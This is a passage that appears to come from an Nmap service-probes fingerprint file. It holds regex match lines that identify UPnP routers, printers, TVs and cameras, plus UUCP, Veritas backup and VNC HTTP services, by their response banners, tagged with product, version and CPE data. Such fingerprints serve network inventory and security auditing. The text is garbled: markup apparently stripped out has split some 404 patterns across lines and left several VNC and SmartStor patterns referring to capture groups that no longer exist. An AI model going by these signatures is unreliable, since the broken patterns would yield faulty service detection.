p/Conexant-EmWeb/ v/$SUBST(3,"_",".")/ i/ISOS $1; UPnP $2/ d/broadband router/ cpe:/a:conexant:emweb:$SUBST(3,"_",".")/a +match upnp m|^HTTP/1\.1 404 Not Found\r\nCONTENT-LENGTH: 48\r\nDATE: .*\r\nSERVER: Linux/6\.0 UPnP/([\d.]+) Intel UPnP/([\d.]+)\r\n\r\n

          404 Not Found

          $| p/Linksys WVC54GC webcam UPnP/ i/UPnP $1; Intel UPnP $2/ d/webcam/ o/Linux/ cpe:/h:linksys:wvc54gc/ cpe:/o:linux:linux_kernel/a +match upnp m|^HTTP/1\.1 200 OK\r\nServer: Unknown/0\.0 UPnP/([\w._-]+) GlobespanVirata-EmWeb/R([\w._-]+)\r\n.*JetSpeed 500 i|s p/GlobespanVirata-EmWeb/ v/$SUBST(2,"_",".")/ i/Intracom JetSpeed 500i UPnP; UPnP $1/ d/broadband router/ +match upnp m|^HTTP/1\.1 401 Unauthorized\r\nServer: Nucleus/([\w._-]+) UPnP/([\w._-]+) Virata-EmWeb/R([\w._-]+)\r\nWWW-Authenticate: Basic realm=\"MT880\"\r\n\r\n\r\n| p/Virata-EmWeb/ v/$SUBST(3,"_",".")/ i/Huawei SmartAX MT880 DSL modem UPnP; UPnP $2; Nucleus $1/ d/broadband router/ cpe:/a:virata:emweb:$SUBST(3,"_",".")/a cpe:/h:huawei:smartax_mt880/a +match upnp m|^HTTP/1\.1 400 Bad Request\r\nServer: Linux, UPnP/([\d.]+), (AR\w+) Ver ([\d.]+)\r\n| p/Airlink 101 $2 WAP UPnP/ v/$3/ i/UPnP $1/ o/Linux/ cpe:/o:linux:linux_kernel/a +match upnp m|^HTTP/1\.1 200 OK\r\n(?:[^\r\n]+\r\n)*?SERVER: EPSON_Linux UPnP/([\d.]+) Epson UPnP SDK/([\d.]+)\r\n.*WorkForce ([\w+]+)|s p/Epson WorkForce $3 printer UPnP/ i/UPnP $1; Epson UPnP SDK $2/ d/printer/ o/Linux/ cpe:/h:epson:workforce_$3/ cpe:/o:linux:linux_kernel/a +match upnp m|^HTTP/1\.1 200 OK\r\n(?:[^\r\n]+\r\n)*?SERVER: EPSON_Linux UPnP/([\d.]+) Epson UPnP SDK/([\d.]+)\r\n.*Artisan ([\w+]+)|s p/Epson Artisan $3 printer UPnP/ i/UPnP $1; Epson UPnP SDK $2/ d/printer/ o/Linux/ cpe:/h:epson:artisan_$3/ cpe:/o:linux:linux_kernel/a +match upnp m=^HTTP/1\.1 200 OK\r\n.*SERVER: EPSON_Linux UPnP/([\d.]+) Epson UPnP SDK/([\d.]+)\r\n.*(?:Epson )?(Stylus (?:Office |Photo )?\w+)=s p/Epson $3 printer UPnP/ i/UPnP $1; Epson UPnP SDK $2/ d/printer/ o/Linux/ cpe:/h:epson:$3/ cpe:/o:linux:linux_kernel/ +match upnp m|^HTTP/1\.1 200 OK\r\n(?:[^\r\n]+\r\n)*?SERVER: EPSON_Linux UPnP/([\d.]+) Epson UPnP SDK/([\d.]+)\r\n.*.*path\.indexOf\(\"/PRESENTATION/HTML/TOP/INDEX\.HTML\", 0\);|s p/Epson Stylus NX230 printer UPnP/ i/UPnP $1; Epson UPnP SDK $2/ d/printer/ o/Linux/ cpe:/h:epson:stylus_nx230/ cpe:/o:linux:linux_kernel/ +match upnp m|^HTTP/1\.1 200 OK\r\n(?:[^\r\n]+\r\n)*?SERVER: EPSON_Linux UPnP/([\d.]+) Epson UPnP SDK/([\d.]+)\r\n\r\n\r\n\r\n\r\n\r\n|s p/Epson WorkForce WF-2540 printer UPnP/ i/UPnP $1; Epson UPnP SDK $2/ d/printer/ o/Linux/ cpe:/h:epson:wf-2540/ cpe:/o:linux:linux_kernel/ +match upnp m|^HTTP/1\.1 401 Unauthorized\r\nServer: Unknown/0\.0 UPnP/([\d.]+) Conexant-EmWeb/R([\d_]+)\r\nContent-Type: text/html\r\nExpires: Thu, 01 Jan 1970 00:00:00 GMT\r\n(?:[^\r\n]+\r\n)*?WWW-Authenticate: Basic realm=\"WebAdmin\"\r\n|s p/Conexant-EmWeb/ v/$SUBST(2,"_",".")/ i/Billion 740- or 7400-series ADSL router UPnP; UPnP $1/ d/WAP/ cpe:/a:conexant:emweb:$SUBST(2,"_",".")/a +match upnp m|^HTTP/1\.1 \d\d\d.*Server: Unknown/0\.0 UPnP/([\d.]+) Conexant-EmWeb/R([\d_]+)\r\n|s p/Conexant-EmWeb/ v/$SUBST(2,"_",".")/ i/UPnP $1/ cpe:/a:conexant:emweb:$SUBST(2,"_",".")/a +match upnp m|^HTTP/1\.1 511 Not Implemented\r\n\r\n$| p/Netgear WGU624 WAP UPnP/ d/WAP/ cpe:/h:netgear:wgu624/ +match upnp m|^HTTP/1\.0 404 Not Found\r\nSERVER: PRONET (PN-\w+), UPnP/([\d.]+)\r\nCONTENT-LENGTH: 48\r\nCONTENT-TYPE: text/html\r\n\r\n

          404 Not Found

          $| p/Pronet $1 WAP UPnP/ i/UPnP $2/ d/WAP/ cpe:/h:pronet:$1/ +match upnp m|^HTTP/1\.1 200 OK\r\nDate: .*\r\nServer: Linux/2\.x UPnP/([\w._-]+) Avtech/([\w._-]+)\r\nConnection: close\r\nLast-Modified: .*..\xbe\x40..\xbe..\x03\r\n|s p/Avtech surveillance camera http config/ v/$2/ i/Linux 2.X; UPnP $1/ o/Linux/ cpe:/o:linux:linux_kernel:2/ +match upnp m|^HTTP/1\.1 200 OK\r\nDate: .*\r\nServer: Linux/2\.x UPnP/([\w._-]+) Avtech/([\w._-]+)\r\nConnection: close\r\nLast-Modified: .*\xb2\xe8\xbe\x1c\xb2\xe8\xbe\x38\x62\x03\r\n| p/Avtech CPCAM surveillance camera http config/ v/$2/ i/Linux 2.X; UPnP $1/ o/Linux/ cpe:/o:linux:linux_kernel:2/ +match upnp m|^HTTP/1\.1 404 Not Found\r\nConnection: close\r\nDate: .* GMT\r\nServer: RTOS/([\w._-]+) UPnP/([\w._]+) ([\w._-]+)\s*/([\w._-]+)\r\nX-AV-Server-Info: av=5\.0; cn=\"Sony Corporation\"; mn=\"BRAVIA | p/Sony Bravia $3 TV DLNA/ v/$4/ i/UPnP $2/ d/media device/ o/RTOS $1/ cpe:/h:sony:bravia_$3:$4/ cpe:/o:greenhills:rtos:$1/ +match upnp m|^HTTP/1\.1 400 Bad Request\r\nConnection: close\r\nDate: .*\r\nX-AV-Client-Info: av=5\.0; cn="Sony Corporation"; mn="BRAVIA (KD-[^"]+)";| p/Sony Bravia $1 TV DLNA/ cpe:/h:sony:bravia_$1/ +match upnp m|^HTTP/1\.1 400 Bad Request\r\nContent-Type: \r\nContent-Length: 0\r\nConnection: close\r\n\r\n| p/AllShare UPnP/ o/Bada/ cpe:/o:samsung:bada:1.2/ +match upnp m|^HTTP/1\.1 \d\d\d .*\r\nDate: .*\r\nServer: Linux/i686 UPnP/([\d.]+) DLNADOC/([\d.]+) LGE_DLNA_SDK/([\d.]+)\r\n| p/LG TV upnp/ i/UPnP $1; DLNADOC $2; LGE_DLNA_SDK $3/ o/Linux/ cpe:/o:linux:linux_kernel/a +match upnp m|^HTTP/1\.1 \d\d\d .*\r\nSERVER: Linux/([\w._-]+) UPnP/([\w._-]+) DLNADOC/([\w._-]+) INTEL_NMPR/([\w._-]+) LGE_DLNA_SDK/([\w._-]+)\r\n| p/LG LW5700 TV upnp/ i/UPnP $2; DLNADOC $3; INTEL_NMPR $4; LGE_DLNA_SDK $5/ d/media device/ o/Linux $1/ cpe:/h:lg:lw5700/ cpe:/o:linux:linux_kernel:$1/ +match upnp m|^HTTP/1\.1 500 Internal server error\r\nDATE: .* GMT\r\nSERVER: OpenRG/([\w._-]+) UPnP/([\w._-]+) Actiontec/RG_VERSION\r\nCONNECTION: close\r\n\r\n$| p/Jungo OpenRG upnp/ v/$1/ i/UPnP $2/ +# E303s-2, K4201 +match upnp m|^HTTP/1\.0 404 Not Found\r\nSERVER: PACKAGE_VERSION HUAWEI, UPnP, HUAWEI SDK for UPnP devices/ \r\nCONTENT-LENGTH: 48\r\nCONTENT-TYPE: text/html\r\n\r\n

          404 Not Found

          $| p/Huawei broadband router upnp/ d/broadband router/ o/VxWorks/ cpe:/o:huawei:vxworks/ +match upnp m|^HTTP/1\.1 400 Bad Request\r\nContent-Type: text/html; charset=\"utf-8\"\r\nServer: Linux/([\w._-]+) CyberHTTP/([\d.]+)\r\nContent-Length: 0\r\nDate: .*\r\n\r\n| p/CyberLink upnp/ v/$2/ o/Linux $1/ cpe:/o:linux:linux_kernel:$1/ +match upnp m|^HTTP/1\.1 404 Not Found\r\nDATE: .*\r\nConnection: Keep-Alive\r\nServer: LINUX/([\w._-]+) UPnP/([\d.]+) BRCM400-UPnP/([\d.]+)\r\n| p/Broadcom upnpd/ v/$3/ i/UPnP $2/ o/Linux $1/ cpe:/o:linux:linux_kernel:$1/ +match upnp m|^HTTP/1\.1 404 Not Found\r\nServer: NFLC/([\w._-]+) UPnP/([\w._-]+) DLNADOC/([\w._-]+)\r\n| p/NetFront Living Connect upnpd/ v/$1/ i/UPnP $2; DLNADOC $3/ +match upnp m|^HTTP/1\.1 200 OK\r\n(?:[^\r\n]+\r\n)*?SERVER: XboxUpnp/([\w._-]+) UPnP/([\w._-]+) Xbox/2\.0\.(\d+)\.0\r\n|s p/Microsoft Xbox 360 upnpd/ v/$1/ i/UPnP $2; Xbox Dashboard 2.0.$3.0/ o/Xbox 360/ cpe:/h:microsoft:xbox_360_kernel:$3/ +match upnp m|^HTTP/1\.1 404 Not Found\r\nSERVER: Linux/([\w._-]+) UPnP/([\w._-]+) Motorola-DLNA-Stack-DLNADOC/([\w._-]+)\r\n| p/Motorola DLNA Stack upnpd/ i/UPnP $2; DLNA $3/ o/Linux $1/ cpe:/o:linux:linux_kernel:$1/ +match upnp m|^HTTP/1\.0 404 Not Found\r\nSERVER: ipos/([\w._-]+) UPnP/([\w._-]+) (RNX-[\w._-]+)/1\.0\r\n| p/ipOS upnpd/ i/Rosewill $3; UPnP $2/ d/broadband router/ o/ipOS $1/ cpe:/h:rosewill:$3/ cpe:/o:ubicom:ipos:$1/ +match upnp m|^HTTP/1\.0 404 Not Found\r\nSERVER: ipos/([\w._-]+) UPnP/([\w._-]+) (TL-[\w._-]+)/1\.0\r\n| p/ipOS upnpd/ i/TP-LINK $3; UPnP $2/ d/broadband router/ o/ipOS $1/ cpe:/h:tp-link:$3/ cpe:/o:ubicom:ipos:$1/ +match upnp m|^HTTP/1\.1 200 OK\r\n(?:[^\r\n]+\r\n)*?Server: UPnP/([\w._-]+) DLNADOC/([\w._-]+) Allwinnertech/([\w._-]+)\r\n\r\n|s p/AllWinner upnpd/ v/$3/ i/UPnP $1; DLNADOC $2/ +match upnp m|^HTTP/1\.1 200 OK\r\nContent-Type: text/html\r\nConnection: close\r\nContent-Length: \d+\r\nServer: Linux (([234]\.[\d.]+)[\w._-]+) DLNADOC/([\w._-]+) UPnP/([\w._-]+) ReadyDLNA/([\w._-]+)\r\n| p/ReadyDLNA/ v/$5/ i/Linux $1; DLNADOC $3; UPnP $4/ o/Linux/ cpe:/o:linux:linux_kernel:$2/ +match upnp m|^HTTP/1\.0 404 Not Found\r\nSERVER: Roteador Wireless (WR\w+), UPnP/([\d.]+)\r\n| p/Intelbras $1 upnpd/ i/UPnP $2/ d/WAP/ +match upnp m|^HTTP/1\.0 500 Internal Server Error\r\nContent-Type: text/xml\r\nContent-Language: en\r\nServer: WinRoute ([\w._-]+) UPnP/([\w._-]+) module\r\n| p/Kerio WinRoute UPnP module/ v/$1/ i/UPnP $2/ o/Windows/ cpe:/o:microsoft:windows/a +match upnp m|^HTTP/1\.1 (?:[^\r\n]*\r\n(?!\r\n))*?SERVER: IPI/([\w._-]+) UPnP/([\w._-]+) DLNADOC/([\w._-]+)\r\n|s p/IPI Media Renderer upnpd/ v/$1/ i/UPnP $2; DLNADOC $3/ cpe:/a:ip_infusion:media_renderer:$1/ +match upnp m|^HTTP/1\.1 400 Bad Request\r\nConnection: close\r\nDate: .*\r\nX-AV-Client-Info: av=5\.0; cn=\"Sony Ericsson\"; mn=\"([^"]+)\"; mv=\"2\.0\";\r\n\r\n| p/Sony Ericsson $1 UPnP AV client/ d/phone/ +match upnp m|^HTTP/1\.0 404 Not Found\r\nSERVER: Wireless [\w+] Router ([\w._-]+), UPnP/1\.0\r\n| p/TP-LINK $1 upnpd/ d/WAP/ cpe:/h:tp-link:$1/ +match upnp m|^HTTP/1\.1 200 OK\r\nContent-Length: \d+\r\nContent-Type: text/html\r\nDate: .* GMT\r\nRealTimeInfo\.dlna\.org: DLNA\.ORG_TLAG=\*\r\nSERVER: BH\r\n\r\n| p|Osmosys BH/DLNA Media Server| d/media device/ cpe:/a:osmosys:bh_dlna_media_server/ +match upnp m|^HTTP/1\.0 404 Not Found\r\nContent-Type: text/xml\r\nConnection: close\r\nContent-Length: 127\r\nServer: \w+ Wireless [\w/] Router ([\w-]+), UPnP/1\.0\r\n\r\n404 Not Found

          Not Found

          Invalid device or service descriptor !\r\n\r\n| p/Fast $1 WAP upnpd/ d/WAP/ cpe:/h:fast:$1/ +match upnp m=^HTTP/1\.1 400 Bad Request\r\nS(?:ERVER|erver): HDHomeRun/([\w._-]+) UPnP/([\w._-]+)\r\n= p/SiliconDust HDHomeRun set top box upnpd/ v/$1/ i/UPnP $2/ d/media device/ cpe:/h:silicondust:hdhomerun/ +match upnp m|^HTTP/1\.0 404 Not Found\r\nSERVER: Linux/([\w._-]+) UPnP/([\d.]+) NDS_MHF DLNADOC/([\d.]+)\r\n\r\n| p/Samsung UPC Horizon TV upnpd/ i/Linux $1; UPnP $2; DLNADOC $3/ d/media device/ o/Linux/ cpe:/o:linux:linux_kernel:$1/a +match upnp m|^HTTP/1\.1 \d\d\d (?:[^\r\n]*\r\n(?!\r\n))*?Content-type: text/html\r\nServer: Linux UPnP/([\d.]+) Sonos/([\w._-]+) \(([^)]+)\)\r\nConnection: close\r\n\r\n|s p/Sonos upnpd/ v/$2/ i/UPnP $1; model $3/ o/Linux/ cpe:/o:linux:linux_kernel/a +# formerly XBMC +match upnp m|^HTTP/1\.1 (?:[^\r\n]*\r\n(?!\r\n))*?Server: UPnP/([\d.]+) DLNADOC/([\d.]+) Kodi\r\n|s p/Kodi upnpd/ i/UPnP $1; DLNADOC $2/ +match upnp m=^HTTP/1\.1 404 Not Found\r\nSERVER: Linux/((2\.[46]\.\d+|\d\.\d+)\S*) UPnP/([\d.]+) DiXiM/([\d.]+)\r\n= p/DiXiM upnpd/ v/$4/ i/UPnP $3; Linux $1/ o/Linux/ cpe:/a:digion:dixim_media_player:$4/ cpe:/o:linux:linux_kernel:$2/ +match upnp m=HTTP/1\.0 404 Not Found\r\nSERVER: TP-LINK (?:Portable )?Wireless (?:(?:Lite )?(?:N|G) (?:3G(?:/4G)? )?)?(?:Dual Band |Nano )?(?:Gigabit )?(?:AP|Router|Access Point|Range Extender) ([\w /+-]+), UPnP/([\d.]+)\r\n= p/TP-LINK $1 WAP upnpd/ i/UPnP $2/ d/WAP/ cpe:/h:tp-link:$1/a +match upnp m|^HTTP/1\.1 400 Bad Request\r\nServer: Linux, UPnP/([\d.]+), (DAP-\d+) Ver ([\d.]+)\r\n| p/D-Link $2 WAP upnpd/ v/$3/ i/UPnP $1/ cpe:/h:dlink:$2/a +match upnp m|^HTTP/1\.1 412 Precondition Failed\r\nDate: .*\r\nContent-Length: 0\r\nConnection: close\r\nServer: ([^,]+), UPnP/([\d.]+) DLNADOC/([\d.]+), KooRaRoo Media Server/([\d.]+)\r\n\r\n| p/KooRaRoo upnpd/ v/$4/ i/UPnP $2; DLNADOC $3/ o/$1/ cpe:/a:shv-tal:kooraroo:$4/ +# Unsure of device type, have seen this one on P6 phone. +match upnp m|^HTTP/1\.1 400 Bad Request\r\nSERVER: Linux/([\d.]+)-\w+-\w+ UPnP/([\d.]+) HUAWEI_iCOS/iCOS V1R1C00\r\nCONNECTION: close\r\nCONTENT-LENGTH: 50\r\nCONTENT-TYPE: text/html\r\n\r\n

          400 Bad Request

          | p/Huawei iCOS upnpd/ i/UPnP $2/ o/Linux $1/ cpe:/o:linux:linux_kernel:$1/a +match upnp m|^HTTP/1\.0 400 Bad Request \r\nCONTENT-TYPE: text/xml; charset="utf-8" \r\nSERVER: UPnP/([\d.]+) Samsung AllShare Server/([\d.]+) \r\nCONTENT-LENGTH: \d+ \r\n\r\n| p/Samsung AllShare upnpd/ v/$2/ i/UPnP $1/ cpe:/a:samsung:allshare_server:$2/ +match upnp m|^HTTP/1\.1 \d\d\d .*\r\nCONTENT-TYPE: text/xml; charset="utf-8"\r\nDATE: .*\r\nEXT: \r\nSERVER: UPnP/([\d.]+) AwoX/([\d.]+)\r\nCONTENT-LENGTH: 0\r\n| p/AwoX upnpd/ v/$2/ i/UPnP $1/ +match upnp m|^HTTP/1\.0 \d\d\d .*\r\nSERVER: TP-LINK SMB (TL-[\w]+), UPnP/([\d.]+)\r\nCONTENT-LENGTH: \d+\r\nCONTENT-TYPE: text/html\r\n\r\n| p/TP-LINK upnpd/ i/model: $1; UPnP $2/ cpe:/h:tp-link:$1/ +match upnp m|^HTTP/1\.0 \d\d\d .*\r\nSERVER: AIT Multimedia Network Solution, UPnP/([\d.]+) devices/([\d.]+)\r\n| p/AIT Multimedia Network Solution/ v/$2/ i/UPnP $1; Polaroid Cube camera/ +match upnp m=^HTTP/1\.1 200 OK\r.*\nS(?:erver|ERVER): (Windows_[^-]+)_(R\d+)-([^-]+)-[\d.]+, UPnP/([\d.]+), UMS/([\d.]+)\r\n=s p/Universal Media Server/ v/$5/ i/arch: $3; UPnP $4/ o/$SUBST(1,"_"," ") $2/ cpe:/a:universal_media_server:universal_media_server:$5/ cpe:/o:microsoft:$1:$2/ +match upnp m=^HTTP/1\.1 200 OK\r.*\nS(?:erver|ERVER): (Windows_[^-]+)-([^-]+)-[\d.]+, UPnP/([\d.]+), UMS/([\d.]+)\r\n=s p/Universal Media Server/ v/$4/ i/arch: $2; UPnP $3/ o/$SUBST(1,"_"," ")/ cpe:/a:universal_media_server:universal_media_server:$4/ cpe:/o:microsoft:$1/ +match upnp m=^HTTP/1\.1 200 OK\r.*\nS(?:erver|ERVER): Linux-([^-]+)-(\d.[\w._-]+), UPnP/([\d.]+), UMS/([\d.]+)\r\n=s p/Universal Media Server/ v/$4/ i/arch: $1; UPnP $3/ o/Linux $2/ cpe:/a:universal_media_server:universal_media_server:$4/ cpe:/o:linux:linux_kernel:$2/a +match upnp m=^HTTP/1\.1 200 OK\r.*\nS(?:erver|ERVER): Linux-([^-]+)-(\d.[\w._-]+), UPnP/([\d.]+) DLNADOC/([\d.]+), UMS/([\d.]+)\r\n=s p/Universal Media Server/ v/$5/ i/arch: $1; UPnP $3; DLNADOC $4/ o/Linux $2/ cpe:/a:universal_media_server:universal_media_server:$4/ cpe:/o:linux:linux_kernel:$2/a +match upnp m=^HTTP/1\.1 200 OK\r.*\nS(?:erver|ERVER): Mac_OS_X-([^-]+)-(\d.[\w._-]+), UPnP/([\d.]+), UMS/([\d.]+)\r\n=s p/Universal Media Server/ v/$4/ i/arch: $1; UPnP $3/ o/Mac OS X $2/ cpe:/a:universal_media_server:universal_media_server:$4/ cpe:/o:apple:mac_os_x:$2/ +match upnp m|^HTTP/1\.1 412 Failed\r\nServer: WINDOWS UPnP/([\d.]+) Intel MicroStack/([\d.]+)\r\nContent-Length: 0\r\n\r\n| p/Intel Developer Tools for UPnP upnpd/ v/$2/ i/UPnP $1/ o/Windows/ cpe:/a:intel:developer_tools_for_upnp:$2/ cpe:/o:microsoft:windows/a +match upnp m|^HTTP/1\.1 200 OK\r\nDate: Sun, 31 Jul 2016 13:02:01 GMT\r\nServer: Linux/([ix][\w_]+) UPnP/([\d.]+) SST/1\.0 /\r\n| p/LG SST Device upnpd/ i/UPnP $2; arch: $1/ +match upnp m|^HTTP/1\.1 \d\d\d .*\r\nDLNADeviceName\.lge\.com: %5bLG%5d%20webOS%20TV%20([\w-]+)\r\nDate: .*\r\nServer: Linux/i686 UPnP/([\d,.]+) DLNADOC/([\d.]+) LGE WebOS TV/Version ([\d.]+)\r\n| p/LG WebOS TV upnpd/ i/model: $1; WebOS $4; UPnP $SUBST(2,",","."); DLNADOC $3/ d/media device/ o/Linux/ cpe:/h:lg:$1/ cpe:/o:linux:linux_kernel/a +match upnp m|^HTTP/1\.1 \d\d\d .*\r\nDate: .*\r\nServer: Neptune/([\d.]+)\r\nDLNADeviceName\.lge\.com: %5bTV%5d%5bLG%5d([\w-]+)\r\n| p/Platinum upnpd/ i/LG TV model: $2; Neptune $1/ d/media device/ o/Linux/ cpe:/a:plutinosoft:neptune:$1/ cpe:/a:plutinosoft:platinum/ cpe:/h:lg:$2/ cpe:/o:linux:linux_kernel/a +match upnp m|^HTTP/1\.1 200 OK\r\nCONTENT-TYPE: text/xml; charset="utf-8"\r\nServer: Mac OS X, UPnP/([\d.]+), Elgato EyeConnect/([\d.]+)\r\n\r\n<\?xml version="1\.0" encoding="utf-8"\?>\n.*EyeConnect \(([\w._-]+)\)|s p/Elgato EyeConnect media server upnpd/ v/$2/ i/UPnP $1/ o/OS X/ h/$3/ cpe:/a:elgato:eyeconnect:$2/ cpe:/o:apple:mac_os_x/a +match upnp m|^HTTP/1\.1 200 OK\r\nContent-Type: text/xml\r\nDate: [^\r\n]*\r\nExpires: [^\r\n]*\r\nLast-Modified: [^\r\n]*\r\nPragma: no-cache\r\nServer: WebServer/1\.0 UPnP/([\d.]+)\r\n\r\n<\?xml version="1\.0"\?>\n.*ZTE\n.*([^<]+)|s p/ZTE $2 router upnpd/ i/UPnP $1/ d/broadband router/ cpe:/h:zte:$2/a +match upnp m|^HTTP/1\.0 500 Internal Server Error\r\nSERVER: Unspecified, UPnP/([\d.]+), SoftAtHome\r\n| p/SoftAtHome upnpd/ i/UPnP $1/ +match upnp m|^HTTP/1\.1 \d\d\d (?:[^\r\n]*\r\n(?!\r\n))*?Server: Linux_Android_ARM/4\.0 UPnP/([\d.]+) DLNADOC/([\d.]+) EShare/([\d.]+)\r\n|s p/EShare upnpd/ v/$3/ i/UPnP $1; DLNADOC $2/ o/Android/ cpe:/o:google:android/a cpe:/o:linux:linux_kernel/a +match upnp m|^HTTP/1\.1 200 OK\r\nDate: .*\r\nServer: WebOS/([\d.]+) UPnP/([\d.]+)\r\n.*LG Electronics|s p/LG WebOS upnpd/ i/WebOS $1; UPnP $2/ d/media device/ +# Several internet radios +match upnp m|^HTTP/1\.1 412 Failed\r\nServer: FSL DLNADOC/([\d.]+) UPnP Stack/1\.0\r\nContent-Length: 0\r\n\r\n| p/FSL upnpd/ i/DLNADOC $1/ d/media device/ +match upnp m|^HTTP/1\.1 412 Precondition Failed\r\nDate: .*\r\nContent-Length: 0\r\nConnection: close\r\nServer: Audi-MIB2HIGH-(G\d+)/([\d.]+) DLNADOC/([\d.]+)/1\r\n\r\n| p/Audi MIB High $1 entertainment system/ v/$2/ i/DLNADOC $3/ +match upnp m|^HTTP/1\.1 200 OK\r\nCONTENT-TYPE: text/xml\r\nContent-Length: \d+\r\n\r\n<\?xml version="1\.0" encoding="utf-8"\?>\r\n\r\n.*Stream What You Hear \(([^)]+)\):|s p/Stream What You Hear unpnd/ o/Windows/ h/$1/ cpe:/a:sebastian_warin:streamwhatyouhear/ cpe:/o:microsoft:windows/a +match upnp m|^HTTP/1\.0 200 OK\r\nContent-Type: text/html\r\nContent-Length: \d+\r\nAccept-Ranges: bytes\r\nConnection: close\r\nDATE: .*\r\ncontentFeatures\.dlna\.org: \r\ntransferMode\.dlna\.org: \r\nEXT:\r\nServer: Linux/(\d[\d.]+)SR[\d_]+, UPnP/([\d.]+), SmartStor Media Server/([\d.]+)\r\n\r\n<\?xml version="1\.0" encoding="UTF-8"\?>\n\n\n\n

          system information

          \n

          \nVersion: [\d.]+
          \nHostname: ([\w.-]+)
          \nOS: Linux [^<]*
          \nSQLite: ([\d.]+)\n

          | p/Promise SmartStor Media Server/ v/$3/ i/UPnP $2; SQLite $5/ d/storage-misc/ o/Linux $1/ h/$4/ cpe:/a:promise:smartstor_media_server:$3/ cpe:/a:sqlite:sqlite:$5/ cpe:/o:linux:linux_kernel:$1/a + +softmatch upnp m|^HTTP/1.[01] \d\d\d (?:[^\r\n]*\r\n(?!\r\n))*?Server:[^\r\n]*UPnP/1.0|si + +match upnp m|^HTTP/1\.1 200 OK\r\ncontent-length: \d+\r\nDate: .*\r\nConnection: close\r\n\r\n<\?xml version="1\.0"\?>\n\n\n1\n0\n\nhttps://[^<]+\n\nurn:wink-com:device:hub:([^<:]+)\n| p/Wink Hub $1 API httpd/ d/specialized/ cpe:/h:wink:hub_$1/ +match upnp m|^HTTP/1\.0 200 OK\nCache-Control: no-cache\nExpires: -1\nDate: \d\d\d\d/\d\d/\d\d \d\d:\d\d:\d\d\.\d+\n.*urn:domotz:fingbox:([\d.]+)<|s p/Domotz Fingbox upnpd/ v/$1/ cpe:/a:domotz:fingbox_agent:$1/ +softmatch upnp m|^HTTP/1\.[01].*xmlns=["']urn:schemas-upnp-org:device-1-0["']|s + +# UUCP 1.06.2 on Linux 2.4.X +# Taylor UUCP 1.06.2 on Slackware +match uucp m|^login: Password:$| p/Taylor uucpd/ +# uucico prompt does not have space after "Password:", +# but Debian-contributed in.uucpd calls pam_authenticate, which does. +match uucp m|^login: Password: $| p/Debian in.uucpd, probably Taylor uucpd/ i/PAM auth/ o/Linux/ cpe:/o:debian:debian_linux/ cpe:/o:linux:linux_kernel/ +match uucp m|^login: Login incorrect\.$| p/Solaris uucpd/ o/Solaris/ cpe:/o:sun:sunos/a + +# Veritas Netbackup client v.3.4 +# Veritas Netbackup 4.5 Java listener +match netbackup m|^1000 2\n43\nunexpected message received\n$| p/Veritas Netbackup java listener/ cpe:/a:symantec:veritas_netbackup/ + +# Veritas Backup Exec 9.0 on Windows +match ndmp m|^\x80\0\0\$\0\0\0\x01....\0\0\0\0\0\0\x05\x02\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\x03\0\0\0\0|s p/Veritas Backup Exec ndmp/ v/9.0/ cpe:/a:symantec:veritas_backup_exec:9.0/ +# Possibly a different version? -Doug +match ndmp m|^\x80\0\0\$\0\0\0\x01....\0\0\0\0\0\0\x05\x02\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\x02\0\0\0\0|s p/Veritas Backup Exec ndmp/ cpe:/a:symantec:veritas_backup_exec/ + +# DAZ Studio 4.5, port 27997 +match valentinadb m|^dddd\0\0\0\0\0\0\0\x0b\xf2\xf2\xf2\xf2\0\0\0_\0\0\0\0\0\0\0\0\0\0\0\0\0F\0\0\0\x02\0\0\0=\0\x08%\x15\0\0\0\x1a\0R\0e\0c\0e\0i\0v\0e\0d\0 \0p\0a\0c\0k\0e\0t\0 \0i\0s\0 \0b\0r\0o\0k\0e\0n\0\.\0\xf4\xf4\xf4\xf4| p/Valentina DB/ + +match vnc-http m|^HTTP/1\.1 200 OK\r\nServer: RealVNC/([-.\w]+)\r\n.*\r?\n\r?\n|si p/RealVNC/ v/$1/ i/resolution: $2x$3; VNC TCP port: $4/ cpe:/a:realvnc:realvnc:$1/ +# Sometimes extra HTTP crap pushes the extra info out of the header we capture: +match vnc-http m|^HTTP/1\.1 200 OK\r\nServer: RealVNC/([-.\w]+)\r\n| p/RealVNC/ v/$1/ cpe:/a:realvnc:realvnc:$1/ +match vnc-http m|^HTTP/1\.1 200 OK\r\nServer: RealVNC-x0vncserver/([\w._ ()-]+)\r\n.*\n|s p/RealVNC x0vncserver/ v/$1/ i/resolution: $2x$3; VNC TCP port $4/ cpe:/a:realvnc:realvnc:$1/ + +match vnc-http m|^HTTP/1\.1 200 OK\r\nServer: VNC Server Enterprise Edition/E([\w._-]+) \(r(\d+)\)\r\n.*\r\n|s p/VNC Server Enterprise Edition httpd/ v/$1 r$2/ i/resolution: $3x$4; VNC port $5/ cpe:/a:realvnc:realvnc:$1::enterprise/ +match vnc-http m|^HTTP/1\.1 200 OK\r\nServer: VNC Server Personal Edition/P([\w._-]+) \(r(\d+)\)\r\n.*\r\n|s p/VNC Server Personal Edition httpd/ v/$1 r$2/ i/resolution: $3x$4; VNC port $5/ cpe:/a:realvnc:realvnc:$1::personal/ + +# RealVNC Unknown Version +match vnc-http m|^HTTP/1\.0 200 OK\n\nVNC desktop\n\n\n| p/RealVNC/ i/resolution: $1x$2; VNC TCP port: $3/ cpe:/a:realvnc:realvnc/ + +# TightVNC Server version 1.2.2 HTTP on Windows 2000 SP2 +match vnc-http m|^HTTP/1\.0 200 OK\n\nTightVNC desktop \[([-.\w]+)\]\n\n| p/TightVNC/ v/1.2.2/ i/resolution: $2x$3; VNC TCP port: $4/ h/$1/ cpe:/a:tightvnc:tightvnc:1.2.2/a +# Tightvnc-1.2.3 +match vnc-http m|^HTTP/1\.0 404 Not found\n\nFile Not Found\n

          File Not Found

